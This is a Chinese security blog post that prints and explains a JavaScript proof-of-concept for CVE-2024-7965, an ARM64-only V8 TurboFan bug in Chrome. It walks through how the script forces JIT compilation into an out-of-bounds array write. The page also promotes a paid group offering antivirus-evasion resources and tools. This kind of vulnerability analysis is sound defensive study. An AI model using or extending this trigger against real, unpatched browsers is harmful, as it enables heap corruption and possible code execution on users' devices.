专栏名称: 渗透安全团队
每个人都有迷茫和快速成长的时期。做技术需要静下心来,两耳不闻窗外事,一心只读圣贤书。一段时间以后就发现窗外那些吵杂的声音早已经没法触动你的心思,这时候就谁也挡不住你成长了。
目录
相关文章推荐
51好读  ›  专栏  ›  渗透安全团队

CVE-2024-7965 Chrome 浏览器漏洞

渗透安全团队  · 公众号  ·  · 2024-09-20 11:39

正文

请到「今天看啥」查看全文


简介:

128.0.6613.84之前的谷歌Chrome V8中不恰当的实现让远程攻击者可以通过精心设计的HTML页面对堆损坏进行潜在的攻击。

这是V8中仅在ARM64中出现的漏洞

(Chromium安全级别:高)

代码与分析:

var arrx = new Array(150);
arrx[0] = 1.1;
var fake = new Uint32Array(10);fake[0]= 1;fake[1] =3;fake[2]=2;fake[3] = 4;fake[4] = 5;fake[5] = 6;fake[6] = 7;fake[7] = 8;fake[8] = 9;
var tahir = 0x1;
function poc(a) { var oob_array = new Array(5); oob_array[0] = 0x500; let just_a_variable = fake[0]; let another_variable3 = fake[7]; if(a % 7 == 0) another_variable3 = 0xff00000000; //spray high bytes another_variable3 = Math.max(another_variable3,tahir); another_variable3 = another_variable3 >>> 0; var index = fake[3]; var for_phi_modes = fake[6]; let c = fake[1]; //giant loop for generate cyclic graph for(var i =0;i<10;i++) { if( a % 3 == 0){ just_a_variable = c; } if( a % 37 == 0) { just_a_variable = fake[2]; } if( a % 11 == 0){ just_a_variable = fake[8]; } if( a % 17 == 0){ just_a_variable = fake[5]; } if( a % 19 == 0){ just_a_variable = fake[4]; } if( a % 7 == 0 && i>=5){ for_phi_modes = just_a_variable; just_a_variable = another_variable3; } if(i>=6){ for(let j=0;j<5;j++){ if(a % 5 == 0) { index = for_phi_modes; oob_array[index] = 0x500; //zero extends before getting value } } } for_phi_modes = c; c = just_a_variable; } //zero extend return [index,BigInt(just_a_variable)];}
for(let i = 2; i<0x500;i++) { poc(i); //compile using turbofan}
poc(7*5);

这个脚本是一个为 ARM64 设备设计的漏洞利用原型(PoC),用于触发 CVE-2024-7965 漏洞。

通过复杂的数组操作和循环逻辑,企图达到越界访问或者修改内存的目的,从而可能实现任意代码执行。

脚本的核心部分是利用 TurboFan 编译器优化的特性,通过特定的数据操作来破坏内存结构。接下来对代码进行详细分析。


1、初始化数组 arrx 和 fake:

var arrx = new Array(150);arrx[0] = 1.1;

这里初始化了一个长度为 150 的数组 arrx,并给第一个元素赋值为 1.1。由于 JavaScript 数组可以存储不同类型的元素,所以数组 arrx 在这个阶段是浮点型。

var fake = new Uint32Array(10);

fake 是一个长度为 10 的 Uint32Array(无符号 32 位整数数组),被用来存储一些初始值。后续的漏洞利用会使用这些数据进行内存操作。


2、定义变量 tahir 和 poc 函数:

var tahir = 0x1;


tahir 是一个简单的常量,赋值为 0x1。

function poc(a) {  var oob_array = new Array(5);  oob_array[0] = 0x500;

函数 poc 接受一个参数 a。函数内部首先定义了一个长度为 5 的数组 oob_array,并为其第一个元素赋值 0x500。oob_array 可能在后续的逻辑中被用于越界访问(out-of-bounds)。

3、控制流程与数据操作:

let just_a_variable = fake[0];let another_variable3 = fake[7];if(a % 7 == 0)  another_variable3 = 0xff00000000; //喷洒高位字节

这里从 fake 数组中取出元素赋值给 just_a_variable 和 another_variable3。如果 a 能被 7 整除,another_variable3 将被赋值为 0xff00000000,这可以被看作是一次 "喷洒" 高位字节的操作,目的是操纵内存布局。

another_variable3 = Math.max(another_variable3, tahir);another_variable3 = another_variable3 >>> 0;

这里将 another_variable3 与 tahir 进行比较,取较大的值,并通过 >>> 0 操作将其转换为无符号整数。

4、核心循环逻辑:

for(var i = 0; i < 10; i++) {  if (a % 3 == 0) just_a_variable = c;  if (a % 37 == 0) just_a_variable = fake[2];  if (a % 11 == 0) just_a_variable




    
 = fake[8];  ...

这是一个长度为 10 的循环,依赖 a 的取值来决定不同的操作。这些操作包括条件性地修改 just_a_variable,并且涉及到 fake 数组的元素。通过多种条件的组合,试图在内存布局中创建某种有利于攻击的结构,可能利用编译器在循环优化时产生的漏洞。


5、越界写入:

if (i >= 6) {  for (let j = 0; j < 5; j++) {    if (a % 5 == 0) {      index = for_phi_modes;      oob_array[index] = 0x500; //越界写入操作    }  }}

这里的操作特别危险,index 可能是通过伪造数据(for_phi_modes)控制的,如果 index 超出数组 oob_array 的范围,这将会导致越界写入(out-of-bounds write),从而可能覆写其他内存区域的数据。

6、调用与利用:

for (let i = 2; i < 0x500; i++) {  poc(i); //通过 TurboFan 编译器优化}

脚本最后通过多次调用 poc 函数,并且特意让 TurboFan 编译器优化这些循环调用。在一些优化过程中,编译器可能未能处理好边界条件,导致安全问题。

关键点分析

TurboFan 编译器优化 :TurboFan 是 V8 引擎中的优化编译器,通过频繁调用 poc 函数,脚本试图诱导 TurboFan 生成的代码在边界检查上产生漏洞,从而实现越界访问或写入。

内存破坏 :通过复杂的条件控制流,脚本试图创建出一种可以操纵内存指针的情况(如 index 和 for_phi_modes),从而进行越界写入,可能导致内存破坏,进一步用于任意代码执行。

条件分支与循环 :脚本中多次使用复杂的条件判断和循环逻辑来混淆内存操作,可能意在规避一些简单的防护机制,并诱导编译器优化过程中出现漏洞。


总结

该 PoC 的主要目的是在 ARM64 设备上利用 V8 引擎中的漏洞,尤其是通过 TurboFan 编译器的优化过程中诱导越界内存操作。通过操控数组的索引和复杂的条件流,攻击者试图触发漏洞并达到任意代码执行的目的。




付费圈子


欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员


进成员内部群





星球的最近主题和星球内部工具一些展示






加入安全交流群



信 安 考 证



需要考以下各类安全证书的可以联系我,下方扫码回复 考证 进交流群,价格优惠、组团更便宜,还送【 渗透安全团队 】知识星球 1 年!

CISP、PTE、PTS、DSG、IRE、IRS、 NISP、 PMP、CCSK、CISSP、ISO27001...

教程如下图






干货|史上最全一句话木马


干货 | CS绕过vultr特征检测修改算法


实战 | 用中国人写的红队服务器搞一次内网穿透练习


实战 | 渗透某培训平台经历


实战 | 一次曲折的钓鱼溯源反制


免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为 承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享 收藏 赞一下最美 点在看哦







请到「今天看啥」查看全文